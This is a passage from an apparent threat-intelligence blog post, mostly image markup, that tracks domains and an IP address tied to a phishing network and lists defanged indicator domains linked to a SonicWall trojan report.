class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now resolves to 34[.]92[.]126[.]136 and looks like this (yes, it is part of the Phishing Empire now):</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lVTO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d1fb29-9247-4bb6-8854-b8a0275e5adf_700x525.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lVTO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d1fb29-9247-4bb6-8854-b8a0275e5adf_700x525.png 424w, https://substackcdn.com/image/fetch/$s_!lVTO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d1fb29-9247-4bb6-8854-b8a0275e5adf_700x525.png 848w, https://substackcdn.com/image/fetch/$s_!lVTO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d1fb29-9247-4bb6-8854-b8a0275e5adf_700x525.png 1272w, https://substackcdn.com/image/fetch/$s_!lVTO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d1fb29-9247-4bb6-8854-b8a0275e5adf_700x525.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lVTO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d1fb29-9247-4bb6-8854-b8a0275e5adf_700x525.png" width="700" height="525" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b2d1fb29-9247-4bb6-8854-b8a0275e5adf_700x525.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:525,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!lVTO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d1fb29-9247-4bb6-8854-b8a0275e5adf_700x525.png 424w, https://substackcdn.com/image/fetch/$s_!lVTO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d1fb29-9247-4bb6-8854-b8a0275e5adf_700x525.png 848w, https://substackcdn.com/image/fetch/$s_!lVTO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d1fb29-9247-4bb6-8854-b8a0275e5adf_700x525.png 1272w, https://substackcdn.com/image/fetch/$s_!lVTO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d1fb29-9247-4bb6-8854-b8a0275e5adf_700x525.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Showing <code>aotearoaleaks[.]org</code> domain SSL certificate with content of <a href="http://ako.ac.nz/">ako.ac.nz</a> &#8220;Ako Aotearoa&#8221;.</p><p>Last, but the best is automatic analysis of communication to one of the domains in the Phishing Empire, done by <a href="https://otx.alienvault.com/indicator/file/70672b7f6ddced60573f6409df67dd40480f06c0303e22f0fea628e64a71ab8d/">AlienVault</a>.</p><p>It tells the &#8220;under-the-hood&#8221; story of communication to jienan[.]net domain.</p><p>First references to it we can find, talks about fake Amazon Japan phishing page &#8212; <a href="https://urlscan.io/result/44524ee5-5dea-4376-9ee1-f1320cbc611f/#summary">here</a> on November 22, 2021 (still not part of Phishing empire). <a href="https://www.virustotal.com/gui/ip-address/66.152.172.92/relations">VirusTotal</a> confirms:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AJa-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1b1b2b1-42fd-45a0-bc4d-9a7a716bf0c6_645x196.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AJa-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1b1b2b1-42fd-45a0-bc4d-9a7a716bf0c6_645x196.png 424w, https://substackcdn.com/image/fetch/$s_!AJa-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1b1b2b1-42fd-45a0-bc4d-9a7a716bf0c6_645x196.png 848w, https://substackcdn.com/image/fetch/$s_!AJa-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1b1b2b1-42fd-45a0-bc4d-9a7a716bf0c6_645x196.png 1272w, https://substackcdn.com/image/fetch/$s_!AJa-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1b1b2b1-42fd-45a0-bc4d-9a7a716bf0c6_645x196.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AJa-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1b1b2b1-42fd-45a0-bc4d-9a7a716bf0c6_645x196.png" width="645" height="196" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f1b1b2b1-42fd-45a0-bc4d-9a7a716bf0c6_645x196.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:196,&quot;width&quot;:645,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!AJa-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1b1b2b1-42fd-45a0-bc4d-9a7a716bf0c6_645x196.png 424w, https://substackcdn.com/image/fetch/$s_!AJa-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1b1b2b1-42fd-45a0-bc4d-9a7a716bf0c6_645x196.png 848w, https://substackcdn.com/image/fetch/$s_!AJa-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1b1b2b1-42fd-45a0-bc4d-9a7a716bf0c6_645x196.png 1272w, https://substackcdn.com/image/fetch/$s_!AJa-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff1b1b2b1-42fd-45a0-bc4d-9a7a716bf0c6_645x196.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This is how it looks now:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1DNZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337145a7-13b9-4edc-9bd8-36501754d92b_700x398.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1DNZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337145a7-13b9-4edc-9bd8-36501754d92b_700x398.png 424w, https://substackcdn.com/image/fetch/$s_!1DNZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337145a7-13b9-4edc-9bd8-36501754d92b_700x398.png 848w, https://substackcdn.com/image/fetch/$s_!1DNZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337145a7-13b9-4edc-9bd8-36501754d92b_700x398.png 1272w, https://substackcdn.com/image/fetch/$s_!1DNZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337145a7-13b9-4edc-9bd8-36501754d92b_700x398.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1DNZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337145a7-13b9-4edc-9bd8-36501754d92b_700x398.png" width="700" height="398" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/337145a7-13b9-4edc-9bd8-36501754d92b_700x398.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:398,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!1DNZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337145a7-13b9-4edc-9bd8-36501754d92b_700x398.png 424w, https://substackcdn.com/image/fetch/$s_!1DNZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337145a7-13b9-4edc-9bd8-36501754d92b_700x398.png 848w, https://substackcdn.com/image/fetch/$s_!1DNZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337145a7-13b9-4edc-9bd8-36501754d92b_700x398.png 1272w, https://substackcdn.com/image/fetch/$s_!1DNZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337145a7-13b9-4edc-9bd8-36501754d92b_700x398.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Showing clone of <a href="http://www.pcworld.com/">www.pcworld.com</a> magazine.</p><p>Let&#8217;s us show just some of capabilities of this SDK:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lufX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89aa2524-6c5b-486b-a401-47a749450f7b_700x255.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lufX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89aa2524-6c5b-486b-a401-47a749450f7b_700x255.png 424w, https://substackcdn.com/image/fetch/$s_!lufX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89aa2524-6c5b-486b-a401-47a749450f7b_700x255.png 848w, https://substackcdn.com/image/fetch/$s_!lufX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89aa2524-6c5b-486b-a401-47a749450f7b_700x255.png 1272w, https://substackcdn.com/image/fetch/$s_!lufX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89aa2524-6c5b-486b-a401-47a749450f7b_700x255.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lufX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89aa2524-6c5b-486b-a401-47a749450f7b_700x255.png" width="700" height="255" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/89aa2524-6c5b-486b-a401-47a749450f7b_700x255.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:255,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!lufX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89aa2524-6c5b-486b-a401-47a749450f7b_700x255.png 424w, https://substackcdn.com/image/fetch/$s_!lufX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89aa2524-6c5b-486b-a401-47a749450f7b_700x255.png 848w, https://substackcdn.com/image/fetch/$s_!lufX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89aa2524-6c5b-486b-a401-47a749450f7b_700x255.png 1272w, https://substackcdn.com/image/fetch/$s_!lufX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89aa2524-6c5b-486b-a401-47a749450f7b_700x255.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>What is interesting even more is that in &#8220;encrypted_ioc&#8221; chapter it lists encrypted communication to following addresses:</p><pre><code>super-ec[.]cn
wghai[.]com
qsyou[.]com</code></pre><p>Quick search using all 3 addresses, led us to this <a href="https://www.sonicwall.com/blog/multi-stage-chinese-trojan-records-everything-even-sounds">report</a> by SonicWall:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rFv9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0223dc4d-08ec-417c-83e8-20af6e23a343_700x165.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rFv9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0223dc4d-08ec-417c-83e8-20af6e23a343_700x165.png 424w, https://substackcdn.com/image/fetch/$s_!rFv9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0223dc4d-08ec-417c-83e8-20af6e23a343_700x165.png 848w, https://substackcdn.com/image/fetch/$s_!rFv9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0223dc4d-08ec-417c-83e8-20af6e23a343_700x165.png 1272w, https://substackcdn.com/image/fetch/$s_!rFv9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0223dc4d-08ec-417c-83e8-20af6e23a343_700x165.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rFv9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0223dc4d-08ec-417c-83e8-20af6e23a343_700x165.png" width="700" height="165" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0223dc4d-08ec-417c-83e8-20af6e23a343_700x165.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:165,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!rFv9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0223dc4d-08ec-417c-83e8-20af6e23a343_700x165.png 424w, https://substackcdn.com/image/fetch/$s_!rFv9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0223dc4d-08ec-417c-83e8-20af6e23a343_700x165.png 848w, https://substackcdn.com/image/fetch/$s_!rFv9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0223dc4d-08ec-417c-83e8-20af6e23a343_700x165.png 1272w, https://substackcdn.com/image/fetch/$s_!rFv9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0223dc4d-08ec-417c-83e8-20af6e23a343_700x165.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div>]]></content:encoded></item></channel></rss>